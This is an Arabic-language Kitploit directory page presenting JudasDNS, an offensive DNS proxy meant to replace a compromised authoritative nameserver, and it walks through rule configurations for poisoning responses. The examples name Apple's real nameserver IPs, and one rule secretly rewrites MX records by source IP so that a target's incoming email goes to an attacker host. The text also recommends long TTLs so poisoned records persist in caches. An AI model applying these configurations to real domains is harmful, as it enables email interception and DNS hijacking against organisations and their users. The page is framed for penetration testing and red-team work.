Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
JudasDNS — هجمات تسميم DNS لخوادم الأسماء بشكل مبسط | Kitploit
أدوات/GitHubGitHub/mandatoryprogrammer/judasdns
الاستغلالاختبار الاختراقالاختبار العشوائي لـ DNSالفريق الأحمرتحليل DNS
GitHubmandatoryprogrammer/judasdns

JudasDNS

هجمات تسميم DNS لخوادم الأسماء بشكل مبسط

عرض المستودع
526927منذ 9 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         هجمات تسميم DNS لخادم الأسماء أصبحت سهلة

خادم وكيل DNS تم بناؤه ليتم نشره بدلاً من خادم أسماء تم السيطرة عليه لتنفيذ استغلال مستهدف. يعمل Judas عن طريق توجيه جميع استعلامات DNS إلى خوادم الأسماء الشرعية للنطاق. السحر الحقيقي يأتي مع تكوينات القواعد الخاصة بـ Judas والتي تسمح لك بتغيير استجابات DNS بناءً على عنوان IP المصدر أو نوع استعلام DNS. وهذا يسمح للمهاجم بتكوين خادم أسماء ضار للقيام بأشياء مثل إعادة توجيه البريد الإلكتروني الوارد بشكل انتقائي قادم من نطاقات IP محددة (عبر سجلات MX معدلة)، وتعيين TTL طويلة جدًا للحفاظ على السجلات المسمومة في الذاكرة المؤقتة، والمزيد.

كيف يمكنني السيطرة على خادم أسماء؟

لمزيد من المعلومات حول السيطرة على خوادم الأسماء واختطاف DNS، راجع منشور المدونة التالي بعنوان "احترم سلطتي – اختطاف خوادم الأسماء المعطلة لاختراق هدفك".

مثال على التكوين

فيما يلي مثال على تكوين Judas لسيناريو افتراضي حيث قام مهاجم باختراق/السيطرة على أحد خوادم الأسماء الموثوقة لشركة Apple (لـ apple.com):

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "إعادة توجيه جميع رسائل البريد الإلكتروني القادمة من 127.0.0.1 سراً!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

أغراض قيم التكوين أعلاه هي كما يلي:

  • version: تنسيق ملف التكوين (في الوقت الحالي دائمًا 1.0.0).
  • port: المنفذ الذي يجب أن يعمل عليه Judas.
  • dns_query_timeout: المدة بالمللي ثانية للانتظار قبل التخلي عن الرد من خادم الأسماء العلوي المستهدف.
  • target_nameservers: خوادم الأسماء الشرعية لنطاقك المستهدف، سيتم إرسال جميع استعلامات DNS إليها من Judas نيابة عن جميع العملاء الطالبين.
  • rules: قائمة بالقواعد مع التعديلات على استجابة DNS لتطبيقها إذا تمت المطابقة.
    • name: اسم القاعدة المحددة.
    • query_type_matches: قائمة بأنواع الاستعلامات للمطابقة مثل CNAME، A، إلخ. يمكن أيضًا تحديد بطاقة بدل (*) لمطابقة أي نوع استعلام.
    • ip_range_matches: قائمة بنطاقات IP للمطابقة. لتزييف الاستجابات بشكل انتقائي لنطاق معين من عناوين IP.
    • modifications: راجع قسم "التعديلات" في هذا الملف.

التعديلات

تأتي قواعد Judas مع مواصفات modifications والتي تُعيّن كقائمة من التعديلات المختلفة التي يجب إجراؤها على استجابة DNS قبل إرسالها مرة أخرى إلى العميل. من المهم أن تقرأ وثائق node-dns لفهم بنية استجابة DNS حتى تتمكن من تعديلها.

مثال على تنسيق استجابة DNS هو التالي:

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...تم الاقتطاع للاختصار...

(لمزيد من المعلومات حول بنية بيانات استجابة DNS راجع هذه الوثائق.)

كتابة تعديل أمر بسيط للغاية، يمكن رؤية مثال لقاعدة مع تعديل أدناه:

root@kitploit:~
{
  "name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

القاعدة أعلاه تطابق أي نوع استعلام (بسبب البطاقة البدل (*)) وتضبط قيمة header.rcode لاستجابة DNS على 0. يتم دمج أي كائن يتم تعيينه كعنصر تعديل في استجابة DNS - ليحل محل أي قيمة كانت مضبوطة أصلاً.

مثال آخر هو التالي:

root@kitploit:~
{
  "name": "إعادة توجيه جميع رسائل البريد الإلكتروني القادمة من 127.0.0.1 سراً!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

القاعدة أعلاه تطابق أي استعلام MX من 127.0.0.1. يتم استبدال إجابة استجابة DNS بسجل MX واحد لـ hacktheplace.localhost. تطبيق عملي لهذا هو إعادة توجيه رسائل البريد الإلكتروني الواردة من IP معين لقراءة رسائل البريد الإلكتروني الخاصة بهدفك. بالإضافة إلى ذلك، قد يختار المهاجم في سيناريو واقعي تعديل TTL للاستجابة ليكون قيمة عالية جدًا من أجل استمرار سجلاته الخبيثة في ذاكرات DNS المؤقتة للعميل لأطول فترة ممكنة.

أنواع مطابقة القواعد

عنوان IP الطالب

القاعدة التالية ستطابق عنوان IP للعميل:

root@kitploit:~
{
  "name": "اجعل جميع الاستجابات المطلوبة من المضيف المحلي (127.0.0.1) NOERROR.",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

حقل ip_range_matches يُعيّن كمصفوفة من نطاقات IP التي تحدد النطاقات المستهدفة لتطبيق تعديل الاستجابة عليها. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع عناوين IP للعملاء.

نوع الاستعلام المطلوب

القاعدة التالية ستطابق نوع استعلام MX و CNAME وتطبق تعديل استجابة وفقًا لذلك:

root@kitploit:~
{
  "name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

حقل query_type_matches يُعيّن كمصفوفة من أنواع الاستعلامات للمطابقة. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع أنواع الاستعلامات.

رمز حالة الاستجابة

القاعدة التالية ستطابق رمز استجابة NXDOMAIN وتطبق تعديل استجابة وفقًا لذلك:

root@kitploit:~
{
  "name": "اجعل جميع الاستجابات المطلوبة من المضيف المحلي (127.0.0.1) NOERROR.",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

حقل response_code_matches يُعيّن كمصفوفة من رموز الاستجابة للمطابقة. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع أنواع RCODE.

تنزيل الأداة